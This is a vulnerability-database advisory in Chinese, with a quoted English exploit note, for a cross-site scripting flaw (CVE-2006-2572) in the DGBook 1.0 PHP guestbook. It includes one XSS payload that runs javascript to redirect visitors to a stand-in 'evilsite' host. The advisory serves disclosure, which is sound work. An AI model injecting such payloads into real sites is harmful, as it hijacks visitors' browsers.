DGBook index.php 跨站脚本攻击(XSS)漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1194884 漏洞类型 跨站脚本
发布时间 2006-05-24 更新时间 2006-05-25
CVE编号 CVE-2006-2572 CNNVD-ID CNNVD-200605-450
漏洞平台 N/A CVSS评分 2.6
|漏洞来源
https://cxsecurity.com/issue/WLB-2006050142
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-450
|漏洞详情
DGBook1.0的index.php存在跨站脚本攻击(XSS)漏洞,远程攻击者可以通过(1)name,(2)homepage,(3)email和(4)address参数,注入任意Web脚本或HTML。
|漏洞EXP
DGbook v1.0 - XSS

Homepage:

http://www.diangemilang.com/dgscripts.php

Description:

This is Guestbook script, write on PHP from Dian Gemilang. Feature: Field validation, Limit character, Charecter filtering - This feature will remove "<" and ">" character, so user can't input HTML tag -, Auto Focus - This feature will make user cursor on the first form field - It's easy to install. Requare PHP, MYQL and phpmyadmin for dump the database.

Effected files:

Name, homepage, and address input boxes on index.php

XSS Vuln:

< and > may be filtered however, they are not filtered in the name, homepage and address text boxes. Only in the comment box.

Example of putting html code in the name & address box:

<DIV STYLE="background-image: url(javascript:window.location('http://www.evilsite.com'))">
|参考资料

来源:BUGTRAQ
名称:20060523DGbookv1.0-XSS
链接:http://www.securityfocus.com/archive/1/archive/1/434869/100/0/threaded
来源:VUPEN
名称:ADV-2006-1942
链接:http://www.frsirt.com/english/advisories/2006/1942
来源:SECUNIA
名称:20201
链接:http://secunia.com/advisories/20201
来源:XF
名称:dgbook-index-xss(26629)
链接:http://xforce.iss.net/xforce/xfdb/26629
来源:BID
名称:18310
链接:http://www.securityfocus.com/bid/18310
来源:www.securityfocus.com
链接:http://www.securityfocus.com/archive/1/archive/1/436615/100/0/threaded
来源:OSVDB
名称:25732
链接:http://www.osvdb.org/25732
来源:SREASON
名称:948
链接:http://securityreason.com/securityalert/948